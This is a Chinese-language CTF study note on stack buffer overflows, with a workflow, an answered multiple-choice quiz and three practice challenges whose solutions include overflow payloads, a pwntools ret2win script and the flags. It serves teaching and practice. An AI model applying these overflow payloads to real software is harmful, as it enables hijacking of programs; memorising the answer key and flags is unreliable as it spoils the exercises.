Day 5 — 二進位安全 (Binary Exploitation)

重點整理

主題核心概念重要工具/技術備註
Buffer Overflow堆疊 (Stack)、輸入長度限制、程式崩潰 (Crash)Python3, GDB起手式:輸入超長字串觀察 Segfault
記憶體覆寫相鄰變數覆寫、Return Address 控制python3 -c 'print("A"*200)'找出 crash 邊界後計算 offset
執行流控制EIP/RIP 暫存器、Ret2WinGDB, pwntools目標:跳轉到隱藏函數

起手式流程

1. 執行程式,找輸入點
2. python3 -c 'print("A" * 200)' | ./target    → 觀察是否 Segfault
3. 二分法縮小 crash 邊界,找精確 offset
4. GDB: run 後看 EIP/RIP 是否被 AAAA 覆蓋
5. 構造 payload = padding + target_address

學習建議

  • 目標:看到 overflow 題型,知道第一步是測試輸入長度
  • 練習平台:picoCTF Binary 題區、pwn.college
  • 產出:寫下「看到 overflow 題型的第一動作筆記」

模擬比賽題目

一、選擇題(單選)

1. 緩衝區溢位漏洞通常由什麼原因造成?

  • A) 使用過期版本的編譯器
  • B) 程式未正確檢查輸入長度,導致覆蓋相鄰記憶體 ✅
  • C) 伺服器網路頻寬不足
  • D) 密碼過於簡單

2. CLI 環境中,快速生成 200 個 "A" 測試 crash 的最佳指令?

  • A) echo "A" * 200
  • B) 手動輸入 200 次
  • C) python3 -c 'print("A" * 200)'
  • D) strings 200A

3. 哪種回應代表成功觸發緩衝區溢位?

  • A) Permission denied
  • B) Connection refused
  • C) Segmentation fault (core dumped)
  • D) Invalid password

4. GDB 分析崩潰時,最關注哪個暫存器來確認控制執行流?

  • A) EAX / RAX
  • B) EIP / RIP ✅
  • C) ECX / RCX
  • D) EDX / RDX

5. 拿到 Binary Pwn 執行檔的第一動作?

  • A) 立刻打開反編譯工具逐行看組合語言
  • B) 找輸入點,輸入超長字串觀察是否 Crash ✅
  • C) 用 Wireshark 攔截封包
  • D) 猜密碼為 admin

二、CTF 實作題

Challenge 1:崩潰的邊界 (The Crash)

login.bin 正常輸入顯示 "Login failed"。 用 Python 生成大量字元找出 Segfault 邊界,觸發隱藏錯誤處理印出 Flag。

python3 -c 'print("A" * 200)' | ./login.bin

Flag 格式FLAG{smash_the_stack_101}


Challenge 2:變數的覆寫 (Variable Overwrite)

緩衝區旁有 is_admin = 0。 構造剛好溢出緩衝區的 payload,將 is_admin 覆寫為非零值。

payload = b"A" * 32 + b"\x01"   # 32 = buffer size
print(payload)

Flag 格式FLAG{overwrite_adjacent_memory}


Challenge 3:控制執行流 (Ret2Win)

target.exe 有隱藏函數 print_flag() 位於 0x401186。 計算 offset 後覆寫 Return Address 跳轉至該函數。

from pwn import *
p = process('./target.exe')
payload = b"A" * 40 + p64(0x401186)
p.sendline(payload)
p.interactive()

Flag 格式FLAG{control_the_flow_win_the_game}

Built with LogoFlowershow